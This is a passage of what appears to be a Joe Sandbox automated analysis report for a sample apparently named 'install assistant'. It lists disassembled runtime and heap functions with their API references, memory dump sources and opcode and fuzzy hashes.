                                          APIs
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,00000000,6CA446D6), ref: 6CA3D01B
                                          • __dosmaperr.LIBCMT ref: 6CA3D022
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ErrorLast__dosmaperr
                                          • String ID: 8Q
                                          • API String ID: 1659562826-4022487301
                                          • Opcode ID: fa4421b97f68a1119d72d3af2d6aa2193d92c0f79188f0cd6100b63684adf9c6
                                          • Instruction ID: 2023d280eed5917c39dbfa3139dc43faa6e9f50dfeaa249905a5dfd5a2f0420f
                                          • Opcode Fuzzy Hash: fa4421b97f68a1119d72d3af2d6aa2193d92c0f79188f0cd6100b63684adf9c6
                                          • Instruction Fuzzy Hash: C641B731A142B4AFC7119F6CCCA0AA97FB5EF47348F189359E889CB605D3358D9AC790
                                          Function 6CA94C24 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 100COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: 0|J$`)L
                                          • API String ID: 3519838083-117937767
                                          • Opcode ID: 924921a2771934cbe07cb1819a4d5bd42f54cfcb7b164b76471555bcaac8b42b
                                          • Instruction ID: 961bbcddb81dad0caf68dbfb66749121d4009859ba29425afe29666d002e4bec
                                          • Opcode Fuzzy Hash: 924921a2771934cbe07cb1819a4d5bd42f54cfcb7b164b76471555bcaac8b42b
                                          • Instruction Fuzzy Hash: 8641D375611741EFDB118FB4C6907EEBBE2FF45208F04842EE06A5B760CB316999CB91
                                          Function 6CA90906 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: @$LuJ
                                          • API String ID: 3519838083-205571748
                                          • Opcode ID: aa36ca613ac24c818774a3b50af302aa3ac6c7e5dc6eeb3b6f96232f2efdcf83
                                          • Instruction ID: 8045597214620538b24c5ecabee44b9341585ea9e74fd72ac9b6f71c935cdb97
                                          • Opcode Fuzzy Hash: aa36ca613ac24c818774a3b50af302aa3ac6c7e5dc6eeb3b6f96232f2efdcf83
                                          • Instruction Fuzzy Hash: D80180B2E11349DADB10DFE984805AEF7F4FF59348F40842EE569E3A40C3745989CB99
                                          Function 6CA3DD28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _free.LIBCMT ref: 6CA3DD49
                                          • HeapReAlloc.KERNEL32(00000000,?,?,00000004,00000000,?,6CA3A63A,?,00000004,?,4B42FCB6,?,?,6CA2F78C,4B42FCB6,?), ref: 6CA3DD85
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: AllocHeap_free
                                          • String ID: 8Q
                                          • API String ID: 1080816511-4022487301
                                          • Opcode ID: 088512935a8111d2bbd6897c3417457e47cd9da9b4feaf803f45f627667374db
                                          • Instruction ID: 771e010936cd74bd5fc72485dcd794519d7430b4ca3bd2d19536dbca36909f4c
                                          • Opcode Fuzzy Hash: 088512935a8111d2bbd6897c3417457e47cd9da9b4feaf803f45f627667374db
                                          • Instruction Fuzzy Hash: 19F0A431A26235E6DB221A269C64B9A3B698F836E4B196115E81CD7E90DB24C489C1A0
                                          Function 6CABC5D5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: p/K$J
                                          • API String ID: 3519838083-2069324279
                                          • Opcode ID: aa294a1bc2fd733ef3206d587f87cb87e74aa4de150a5e8f5598fd7d05bcf4d2
                                          • Instruction ID: 7a605410ec5d26e58e6cb15bb1067acc17cbd18c06598e3829e9265cacd10626
                                          • Opcode Fuzzy Hash: aa294a1bc2fd733ef3206d587f87cb87e74aa4de150a5e8f5598fd7d05bcf4d2
                                          • Instruction Fuzzy Hash: 2F01BCB1A117119FD724CF58C6047AAB7F8FF44729F10C81EA066A3B40C7F8A54C8BA5
                                          Function 6CA9AFC7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CA9AFCC
                                            • Part of subcall function 6CA9A4D1: __EH_prolog.LIBCMT ref: 6CA9A4D6
                                            • Part of subcall function 6CA9914B: __EH_prolog.LIBCMT ref: 6CA99150
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: J$0J
                                          • API String ID: 3519838083-2882003284
                                          • Opcode ID: e6d3612d4e81af9a8d93b7ad1b32697a4da849f1579351cb7c1b36bc92f9105d
                                          • Instruction ID: e3f1a3eca056c1b31b099d763f62ce9510bdeddc1eb0b76fe11ab6638f49d38e
                                          • Opcode Fuzzy Hash: e6d3612d4e81af9a8d93b7ad1b32697a4da849f1579351cb7c1b36bc92f9105d
                                          • Instruction Fuzzy Hash: 480102B1800B50CFC325CF6AC5A428AFBF0BB15308F90C95EC0AA57B50D7B8A548CB68
                                          Function 6CAB4E19 Relevance: 5.2, Strings: 4, Instructions: 161COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: D)K$H)K$P)K$T)K
                                          • API String ID: 0-2262112463
                                          • Opcode ID: db2bed83cd242086b620a75a277d992f39b5cdae26f25bede05caa2e01ee838f
                                          • Instruction ID: 4e73a9a462f408e78da44fd690410caedbfc8f363c75398c2b8f6c221d2ca4c8
                                          • Opcode Fuzzy Hash: db2bed83cd242086b620a75a277d992f39b5cdae26f25bede05caa2e01ee838f
                                          • Instruction Fuzzy Hash: AC51D2709042099FCF01CFB4DA40AEEB7B9AF0531CF58841AE8157BA90DB7199EDCB51
                                          Function 6CAD4F20 Relevance: 5.0, Strings: 4, Instructions: 27COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: (?K$8?K$H?K$CK
                                          • API String ID: 0-3450752836
                                          • Opcode ID: d4c246a701e4ab7ba432eee481bca3e782bec61bf51628d32b3eb083001bfa55
                                          • Instruction ID: d75058516b08164cf24ea85d343f1c4b46df653f144923e776eaee65ff3379e0
                                          • Opcode Fuzzy Hash: d4c246a701e4ab7ba432eee481bca3e782bec61bf51628d32b3eb083001bfa55
                                          • Instruction Fuzzy Hash: 17F03AB16017009FC320CF06D54869BFBF4EB4570AF50C91EE0AA9BB40D3B8A54C8FA9